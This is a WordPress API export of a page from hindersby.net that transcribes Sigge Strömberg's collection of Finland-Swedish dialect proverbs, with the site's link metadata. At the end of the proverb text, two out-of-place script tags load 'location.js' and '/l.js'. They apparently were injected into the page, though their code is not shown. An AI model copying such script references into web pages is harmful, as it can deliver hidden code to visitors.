smyygs\u00e5\u00e5 opa drendjin.<br \/>\nHan s\u00e5m e viskli bih\u00f6\u00f6v\u00e4r inga staa i skammen, saa piigan &#8211; sparka bonn.<br \/>\nHe l\u00e5ftas s\u00e5 heimsklitt, saa drendjin \u00e5mm pissisknuutn.<br \/>\nMe tissar s\u00e5m gluggstopp\u00e5r kan int faan hirt se, saa drendjin i tindji.<br \/>\nFast hon \u00e5 ligg\u00e4r ypi s\u00e5m ein gamal salmbook, s\u00e5 sp\u00e5ttar ja \u00e5 gaar f\u00f6rbii,<br \/>\nsaa Gaambelstu mofa.<br \/>\nF\u00f6r femm penni me seck yvi huvu, saa drendjin \u00e5\u00e5t marknanshojd\u00e5n.<br \/>\nTv\u00e5\u00e5 epel \u00e5 eitt p\u00e4\u00e4r\u00e5n &#8211; he e flickans m\u00e4\u00e4r\u00e5n. (gammalt Lapptr\u00e4sk ordst\u00e4v)<br \/>\nN\u00e5 he gaar nu allt mesama, saa brook\u00e5-Hilda &#8211; \u00e5\u00e5t te sjundi.<br \/>\nVid\u00e4r te stoor stein \u00e5 spr\u00e5ttji aalen t\u00e4\u00e4r s\u00e5m trenun trampa sparvn.<br \/>\n(elakt platsbesked vid f\u00f6r stor nyfikenhet &#8211; Hindersby)<br \/>\nJa lagar ein kvitu &#8211; s\u00e5m ska stoppas i baatjin opa all s\u00e5m e vitu.<br \/>\n(avsnoppande svar vid f\u00f6r stor nyfikenhet om arbete eller andra f\u00f6rehavanden)<script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Det h\u00e4r \u00e4r en transkribering av Sigges text som f\u00f6ljer NUS (Nisses Uttalsriktiga Stavning). Inneh\u00e5llet f\u00f6ljer Sigges text men stavningen \u00e4r \u00e4ndrad. I ett f\u00e5tal fall har extra kommentarer satts till. Sigges kommentarer finns inom parentes () medan mina kommentarer finns inom hakparentes []. Johan Schalin har skannat in texten (se den skannade texten). Sida &hellip; <a href=\"https:\/\/hindersby.net\/word2021\/spraksidor\/lilla-ordspraksboken-av-sigge-stromberg\/\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dLilla ordspr\u00e5ksboken av Sigge Str\u00f6mberg\u201d<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":2845,"menu_order":1,"comment_status":"open","ping_status":"open","template":"","meta":{"ngg_post_thumbnail":0,"footnotes":""},"class_list":["post-2834","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/pages\/2834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/comments?post=2834"}],"version-history":[{"count":0,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/pages\/2834\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/pages\/2845"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/media?parent=2834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}